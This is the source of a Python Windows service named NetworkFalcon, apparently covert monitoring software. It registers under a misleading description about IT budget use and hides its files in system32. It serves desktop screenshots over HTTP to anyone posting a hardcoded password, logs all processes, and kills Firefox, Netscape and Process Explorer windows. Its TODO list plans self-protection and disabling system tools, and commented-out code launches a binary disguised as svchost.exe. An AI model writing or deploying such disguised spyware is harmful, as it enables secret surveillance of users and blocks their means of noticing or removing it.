# NetworkFalcon.py
#
# By Thomas Dickerson
# thanks to help + code from the Python cookbook
# and Mark Hammond's book on python win32 programming

# This software is coypright 2013 by Thomas Dickerson
# and StickFigure Graphic Productions
# under the terms of the GNU General Public License v3
# a copy of which may be obtained here: http://www.gnu.org/licenses/gpl-3.0.txt


#TODO
# also, "at /delete /yes" for blocking one 
# block teh other system scheduler (del * in C:\WINDOWS\Tasks)
# enforce registry settings for proxy and login screensaver 
#			(http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/174627)
# win32pdh.CollectQueryData(hq) #collects data for the counter
# error: (-2147481643, 'CollectQueryData', 'No error message is available')
# block service control manager
# "other" self protection (extra process, service auto recovery)
# IE history (IUrlHistoryStg)
# PACKAGE IT UP!!! (py2exe for NTServices) (http://mail.python.org/pipermail/python-list/2003-March/196774.html)
# network the configuration + admin tool (SSL)
# protect against ARP poisoning (hardwire server ethernet + IP)
# maybe Novell usernames
# file locks!
# 


import win32serviceutil
import win32service
import win32event
import win32con
import win32security
import win32api
import win32process
import win32pdh
import win32gui
from threading import Thread
import string,cgi,time
import ImageGrab
import asynchat, asyncore, socket, SimpleHTTPServer
import sys, cgi, cStringIO, os, traceback, zlib
import subprocess
import traceback


class Impersonate:
	def __init__(self,login,password,domain):
		self.domain=domain
		self.login=login
		self.password=password

	def logon(self):
		self.handle=win32security.LogonUser(self.login,self.domain,self.password,win32con.LOGON32_LOGON_INTERACTIVE,win32con.LOGON32_PROVIDER_DEFAULT)
		win32security.ImpersonateLoggedOnUser(self.handle)

	def logoff(self):
		win32security.RevertToSelf() #terminates impersonation
		self.handle.Close() #guarantees cleanup




try:
	from collections import deque
except:
	class deque(object):
		def __init__(self, iterable=()):
			self.left = self.right = 0
			self.data = {}
			self.extend(iterable)		 
		
		def append(self, x):
			self.data[self.right] = x
			self.right += 1
		
		def appendleft(self, x):
			self.left -= 1		
			self.data[self.left] = x
		
		def pop(self):
			if self.left == self.right:
				raise IndexError('cannot pop from empty deque')
			self.right -= 1
			elem = self.data[self.right]
			del self.data[self.right]		 
			return elem
		
		def popleft(self):
			if self.left == self.right:
				raise IndexError('cannot pop from empty deque')
			elem = self.data[self.left]
			del self.data[self.left]
			self.left += 1
			return elem
		
		def clear(self):
			self.data.clear()
			self.left = self.right = 0
		
		def extend(self, iterable):
			for elem in iterable:
				self.append(elem)
		
		def __len__(self):
			return self.right - self.left

reserved_names = dict.fromkeys(('com1 com2 com3 com4 com5 com6 com7 com8 com9 '
								'lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9 '
								'con nul prn').split())

def popall(self):
	r = len(self)*[None]
	for i in xrange(len(r)):
		r[i] = self.popleft()
	return r		

class writewrapper(object):
	def __init__(self, d, blocksize=4096):
		self.blocksize = blocksize
		self.d = d
	def write(self, data):
		if self.blocksize in (None, -1):
			self.d.append(data)
		else:
			BS = self.blocksize
			xtra = 0
			if len(data)%BS:
				xtra = len(data)%BS + BS
			buf = self.d
			for i in xrange(0, len(data)-xtra, BS):
				buf.append(data[i:i+BS])
			if xtra:
				buf.append(data[-xtra:])

class ParseHeaders(dict):
	if 1:
		"""Replacement for the deprecated mimetools.Message class
		Works like a dictionary with case-insensitive keys"""

	def __init__(self, infile, *args):
		self._ci_dict = {}
		lines = infile.readlines()
		for line in lines:
			k,v=line.split(":",1)
			self._ci_dict[k.lower()] = self[k] = v.strip()
		self.headers = self.keys()
	
	def getheader(self,key,default=""):
		return self._ci_dict.get(key.lower(),default)
	
	def get(self,key,default=""):
		return self._ci_dict.get(key.lower(),default)

class ScreenGrabber(asynchat.async_chat, SimpleHTTPServer.SimpleHTTPRequestHandler):
	if 1:
		server_version = "NetFalcon ScreenGrabber "
		protocol_version = "HTTP/1.1"
		MessageClass = ParseHeaders
		blocksize = 4096
		
		use_buffer = False
		use_favicon = True
	
	def __init__(self, conn, addr, server):
		asynchat.async_chat.__init__(self,conn)
		self.client_address = addr
		self.connection = conn
		self.server = server
		self.set_terminator ('\r\n\r\n')
		self.incoming = deque()
		self.outgoing = deque()
		self.rfile = None
		self.wfile = writewrapper(self.outgoing, -self.use_buffer or self.blocksize)
		self.found_terminator = self.handle_request_line
		self.request_version = "HTTP/1.1"
		self.code = None
		
	def update_b(self, fsize):
		if fsize > 1048576:
			self.use_buffer = True
			self.blocksize = 131072
	
	def collect_incoming_data(self,data):
		"""Collect the data arriving on the connexion"""
		if not data:
			self.ac_in_buffer = ""
			return
		self.incoming.append(data)

	def prepare_POST(self):
		"""Prepare to read the request body"""
		bytesToRead = int(self.headers.getheader('content-length'))
		self.set_terminator(bytesToRead)
		self.incoming.clear()
		self.found_terminator = self.handle_post_data
	
	def handle_post_data(self):
		"""Called when a POST request body has been read"""
		self.rfile = cStringIO.StringIO(''.join(popall(self.incoming)))
		self.rfile.seek(0)
		self.do_POST()
			
	def do_GET(self):
		"""Begins serving a GET request"""
		if self.use_favicon and self.path == '/favicon.ico':
			self.send_response(200)
			self.send_header('Connection', 'close')
			self.send_header("Content-type", 'text/html')
			self.send_header("Content-Length", len(favicon))
			self.end_headers()
			self.log_request(self.code, len(favicon))
			self.outgoing.append(favicon)
			self.outgoing.append(None)
			return
		self.send_response(200)
		self.send_header('Connection', 'close')
		self.send_header('Content-type',	'text/html')
		formtext = '<html><body><form action="#" method="post"><input type="password" name="pw" /><input type="submit" value="Go!" /></form></body></html>'
		self.send_header("Content-Length", len(formtext))
		self.end_headers()
		self.wfile.write(formtext)
		return
		
	def do_POST(self):
		"""Begins serving a POST request. The request data must be readable
		on a file-like object called self.rfile"""
		try:
			ctype, pdict = cgi.parse_header(self.headers.getheader('content-type'))
			self.body = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ = {'REQUEST_METHOD':'POST'}, keep_blank_values = 1)
			if self.body['pw'].value == "omgPWN":
				self.send_response(200)
				self.send_header('Connection', 'close')
				self.send_header('Content-type',	'image/jpeg')
				
				
				
				
				date = time.time();
				filename = "C:\\WINDOWS\\system32\\NetFalcon\\caps\\" +  str(date) + ".jpg"
				
				#a = Impersonate('username','password','domain') 
				#a.logon()
				#uname = str(win32api.GetUserName())
				#subprocess.Popen("python C:\\WINDOWS\\systems32\\NetFalcon\\grab.py " + filename, shell = False)
				#a.logoff()
				img = ImageGrab.grab()
				img.save(filename)
				#sys.stderr.write("New User: " + uname + "\r\n")
				
				file = open(filename, 'rb')
				data = file.read()
				
				self.send_header("Content-Length", len(data))
				self.end_headers()
			
				self.wfile.write(data)
				file.close()
				os.remove(filename)
			else:
				sys.stderr.write("Invalid Login Attempt: " + str(self.body['pw'].value) + "\r\n")
				raise Exception, "No snooping, kthxbai"	
		except Exception:
			text = "<ul>"
			for arg in sys.exc_info():
				text += "<li>" + str(arg) + "</li>"
				sys.stderr.write(str(arg) + "\r\n")
			sys.stderr.write("\r\n")
				
			text += "</ul>"
			text = "<html><body><h1>403 Forbidden</h1>" + text + "</body></html>"
			self.send_response(403)
			self.send_header('Content-type', 'text/html')
			self.send_header("Content-Length", len(text))
			self.end_headers()
			self.wfile.write(text);
		return
		
	def handle_request_line(self):
		"""Called when the http request line and headers have been received"""
		self.rfile = cStringIO.StringIO(''.join(popall(self.incoming)))
		self.rfile.seek(0)
		self.raw_requestline = self.rfile.readline()
		self.parse_request()

		if self.command in ['GET','HEAD']:
			method = "do_"+self.command
			if hasattr(self,method):
				getattr(self,method)()
		elif self.command=="POST":
			self.prepare_POST()
		else:
			self.send_error(501, "Unsupported method (%s)" %self.command)

	def end_headers(self):
		"""Send the blank line ending the MIME headers, send the buffered
		response and headers on the connection"""
		if self.request_version != 'HTTP/0.9':
			self.outgoing.append("\r\n")

	def handle_error(self):
		traceback.print_exc(sys.stderr)
		self.close()

	def writable(self):
		return len(self.outgoing) and self.connected
	
	def handle_write(self):
		O = self.outgoing
		while len(O):
			a = O.popleft()
			if a is None:
				self.close()
				return
			elif hasattr(a, 'read'):
				_a, a = a, a.read(self.blocksize)
				if not a:
					del _a
					continue
				else:
					O.appendleft(_a)
					break
			#handle string/buffer objects
			elif len(a):
				break
		else:
			#if we get here, the outgoing deque is empty
			return
		#if we get here, 'a' is a string or buffer object of length > 0
		try:
			num_sent = self.send(a)
			if num_sent < len(a):
				if not num_sent:
					# this is probably overkill, but it can save the
					# allocations of buffers when they are enabled
					O.appendleft(a)
				elif self.use_buffer:
					O.appendleft(buffer(a, num_sent))
				else:
					O.appendleft(a[num_sent:])

		except socket.error, why:
			if isinstance(why, (str, unicode)):
				self.log_error(why)
			elif isinstance(why, tuple) and isinstance(why[-1], (str, unicode)):
				self.log_error(why[-1])
			else:
				self.log_error(str(why))
			self.handle_error()
	
	def send_head(self):
		path = self.translate_path(self.path)
		if sys.platform == 'win32':
			if os.path.split(path)[1].lower().split('.')[0] in reserved_names:
				self.send_error(404, "File not found")
				return
		if os.path.isdir(path):
			if not self.path.endswith('/'):
				self.send_response(302)
				x = '<META HTTP-EQUIV="refresh" CONTENT="0;URL=%s/">'%self.path
				self.send_header("Content-Location", self.path + '/')
				self.send_header("Content-Length", len(x))
				self.end_headers()
				self.wfile.write(x)
				return None
		return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)
	
	def send_response(self, code, message=None):
		if self.code:
			return
		self.code = code
		if message is None:
			if code in self.responses:
				message = self.responses[code][0]
			else:
				message = ''
		if self.request_version != 'HTTP/0.9':
			self.wfile.write("%s %d %s\r\n" %
							 (self.protocol_version, code, message))
			# print (self.protocol_version, code, message)
		self.send_header('Server', self.version_string())
		self.send_header('Date', self.date_time_string())
	
	def log_message(self, format, *args):
		sys.stderr.write("%s - - [%s] %s \"%s\" \"%s\"\n" %
						 (self.address_string(),
						  self.log_date_time_string(),
						  format%args,
						  self.headers.get('referer', ''),
						  self.headers.get('user-agent', '')
						  ))

class Server(asyncore.dispatcher):
	if 1:
		"""Copied from http_server in medusa"""
	def __init__ (self, ip, port, handler):
		self.ip = ip
		self.port = port
		self.handler = handler
		asyncore.dispatcher.__init__ (self)
		self.create_socket (socket.AF_INET, socket.SOCK_STREAM)

		self.set_reuse_addr()
		self.bind ((ip, port))

		# Quoting the socket module documentation...
		# listen(backlog)
		#	 Listen for connections made to the socket. The backlog argument
		#	 specifies the maximum number of queued connections and should
		#	 be at least 1; the maximum value is system-dependent (usually
		#	 5).
		self.listen (5)

	def handle_accept (self):
		try:
			conn, addr = self.accept()
		except socket.error:
			self.log_info ('warning: server accept() threw an exception', 'warning')
			return
		except TypeError:
			self.log_info ('warning: server accept() threw EWOULDBLOCK', 'warning')
			return
		# creates an instance of the handler class to handle the request/response
		# on the incoming connexion
		self.handler(conn,addr,self)

favicon = zlib.decompress(
'x\x9c\xb5\x93\xcdN\xdb@\x14\x85\x07\x95\x07\xc8\x8amYv\xc9#\xe4\x11x\x04\x96}'
'\x8c\x88\x1dl\xa0\x9b\xb6A\xa2)\x0bVTB\xa9"\xa5?*I\x16\xad"\x84d\x84DE\x93'
'\x14;v\xc01M\xe2$\x988\xb1l\x9d\xde;v\\\x03\x89TU\xea\xb5N\xe4\xb9\x9a\xef'
'\x1c\xcfO\x84X\xa0\'\x95\x12\xf4\xbb,\x9e/\n\xb1$\x84xF\xa2\x16u\xc2>WzQ\xfc'
'\xf7\xca\xad\xafo\x91T\xd2\x1ai\xe5\x1fx[\xf9\xf4\x01\xc57\xbb\xd8\xdf\xd8'
'\x00\x8d\x11\xf9\x95\x12\xda\x9a\xc3\xae\xe5_\xbdDpk\x03\xc3\xaeT\xd0\xb3\xd0'
'>?\x83Z\xfd\x86Z\xa5\x84\x1fG_\xa4\xe7\x1c^\xa9W\xbfJ\xfe\xb4\xf0\x0e^\xdb'
'\x88}0 \xafA\x0f\xa3+c&O\xbd\xf4\xc1\xf6\xb6d\x9d\xc6\x05\xdcVSz\xb0x\x1c\x10'
'\x0fo\x02\xc7\xd0\xe7\xf1%\xe5\xf3\xc78\xdb\xf9Y\x93\x1eI\x1f\xf8>\xfa\xb5'
'\x8bG<\x8dW\x0f^\x84\xd9\xee\xb5~\x8f\xe1w\xaf{\x83\x80\xb2\xbd\xe1\x10\x83'
'\x88\'\xa5\x12\xbcZ?9\x8e\xb3%\xd3\xeb`\xd4\xd2\xffdS\xb9\x96\x89!}W!\xfb\x9a'
'\xf9t\xc4f\x8aos\x92\x9dtn\xe0\xe8Z\xcc\xc8=\xec\xf7d6\x97\xa3]\xc2Q\x1b(\xec'
'd\x99_\x8dx\xd4\x15%\xce\x96\xf9\xbf\xacP\xd1:\xfc\xf1\x18\xbe\xeb\xe2\xaey'
'\x89;]\xc5\xf1\xfb<\xf3\x99\xe9\x99\xefon\xa2\xdb6\xe5\x1c\xbb^\x8b}FV\x1b'
'\x9es+\xb3\xbd\x81M\xeb\xd1\xe0^5\xf1\xbd|\xc4\xfca\xf2\xde\xf0w\x9cW\xabr.'
'\xe7\xd9\x8dFx\x0e\xa6){\x93\x8e\x85\xf1\xb5\x81\x89\xd9\x82\xa1\x9c\xc8;\xf9'
'\xe0\x0cV\xb8W\xdc\xdb\x83\xa9i\xb1O@g\xa6T*\xd3=O\xeaP\xcc(^\x17\xfb\xe4\xb3'
'Y\xc9\xb1\x17{N\xf7\xfbo\x8b\xf7\x97\x94\xe3;\xcd\xff)\xd2\xf2\xacy\xa0\x9b'
'\xd4g=\x11B\x8bT\x8e\x94Y\x08%\x12\xe2q\x99\xd4\x7f*\x84O\xfa\r\xb5\x916R'
)


class NetworkFalcon(win32serviceutil.ServiceFramework):
	_svc_name_ = "NetworkFalcon"
	_svc_display_name_ = "NetworkFalcon Service"
	_svc_description_ = "Provides feedback on software usage to help evaluate IT department budget use"
	def __init__(self, args):
		win32serviceutil.ServiceFramework.__init__(self, args)
		# Create an event which we will use to wait on.
		# The "service stop" request will set this event.
		self.lastlog = int(time.time())
		self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)

	def SvcStop(self):
		# Before we do anything, tell the SCM we are starting the stop process.
		self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
		# And set my event.
		win32event.SetEvent(self.hWaitStop)
		
	def timestamp(self):
		months = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]
		date = time.localtime()
		return "(" + str(months[date[1] - 1]) + " " + str(date[2]) + ", " + str(date[0]) + " " + str(date[3]) + ":" + str(date[4]) + ":" + str(date[5]) + ")"
	
	def kill(self, pid):
		PROCESS_TERMINATE = 1
		handle = win32api.OpenProcess(PROCESS_TERMINATE, False, pid)
		win32api.TerminateProcess(handle, -1)
		win32api.CloseHandle(handle)
		
	def procids(self):
		junk, instances = win32pdh.EnumObjectItems(None,None,'process', win32pdh.PERF_DETAIL_WIZARD)
		proc_ids=[]
		proc_dict={}
		for instance in instances:
			if instance in proc_dict:
				proc_dict[instance] = proc_dict[instance] + 1
			else:
				proc_dict[instance]=0
		for instance, max_instances in proc_dict.items():
			for inum in xrange(max_instances+1):
				hq = win32pdh.OpenQuery() # initializes the query handle 
				path = win32pdh.MakeCounterPath( (None,'process',instance, None, inum,'ID Process') )
				counter_handle=win32pdh.AddCounter(hq, path) 
				win32pdh.CollectQueryData(hq) #collects data for the counter 
				type, val = win32pdh.GetFormattedCounterValue(counter_handle, win32pdh.PDH_FMT_LONG)
				proc_ids.append((instance,str(val)))
				win32pdh.CloseQuery(hq) 
		proc_ids.sort()
		return proc_ids
		
	def windowkiller(self, handle, junk):
		badclasses = ["Ghostzilla", "PROCEXPL", "OpWindow", "Mozilla", "Firefox", "Ghostzilla", "XPCOM", "nsToolkit", "Netscape"]
		badtitles = ["Ghostzilla", "Ghostzila", "Netscape"]
		classname = win32gui.GetClassName(handle)
		title = win32gui.GetWindowText(handle)
		kill_f = 0
		pid = win32process.GetWindowThreadProcessId(handle)
		pid.reverse()
		for badclass in badclasses:
			if classname.find(badclass) >= 0:
				kill_f = 1
				break
		for badtitle in badtitles:
			if title.find(badtitle) >= 0:
				kill_f = 1
				break
		
		if kill_f == 1:
			for p in pid:
				try:
					self.kill(int(p))
				except Exception:
					sys.stderr.write(str(traceback.format_exc()) + "\r\n")
		
	def SvcDoRun(self):
		errlog = open("C:\\Windows\\system32\\NetFalcon\\errors.log", "aw")
		sys.stderr = errlog
		log = open("C:\\Windows\\system32\\NetFalcon\\netfalcon.log", "aw")
		sys.stdout = log
		
		sightings = {}
		
		print self.timestamp() + " NetFalcon started"
		port = 8081
		s=Server('',port,ScreenGrabber)
		#si = win32process.STARTUPINFO()
		# handle is a tuple of (hProcess, hThread, processId, threadId)
		#handle = win32process.CreateProcess(
		#				  None, # AppName
		#				  "C:\WINDOWS\system32\NetFalcon\svchost.exe", # Command line
		#				  None, # Process Security
		#				  None, # ThreadSecurity
		#				  0, # Inherit Handles?
		#				  win32process.NORMAL_PRIORITY_CLASS,
		#				  None, # New environment
		#				  None, # Current directory
		#				  si) # startup info.
	
		while 0 != win32event.WaitForSingleObject(self.hWaitStop, 2):
			try:
				asyncore.loop(timeout=5, count=1)
				if time.time() - 5 >= self.lastlog:
					proclog = open("C:\\Windows\\system32\\NetFalcon\\proc.log", "w")
					for proc in  self.procids():
						pid = proc[1]
						name = proc[0]
						if sightings.has_key(pid):
							now = int(time.time())
							sightings[pid]['timerunning'] += now - sightings[pid]['lastseen']
							sightings[pid]['lastseen'] = now
						else:
							sightings[pid] = {'name' : name, 'lastseen' : int(time.time()), 'timerunning' : 0}
					towrite = str(sightings)
					proclog.write(towrite)
					proclog.write(" \r\n")
					proclog.flush()
					proclog.close()
					self.lastlog = int(time.time())
					win32gui.EnumWindows(self.windowkiller, None)
			except Exception, e:
				for arg in e.args:
					sys.stderr.write(str(arg) + "\r\n")
					sys.stderr.write(str(traceback.format_exc()) + "\r\n\r\n")
		#self.kill(handle[2])
		print self.timestamp() + " NetFalcon stopped"
		print ""
		log.close()
		errlog.close()
		
		
if __name__=='__main__':
	win32serviceutil.HandleCommandLine(NetworkFalcon)
	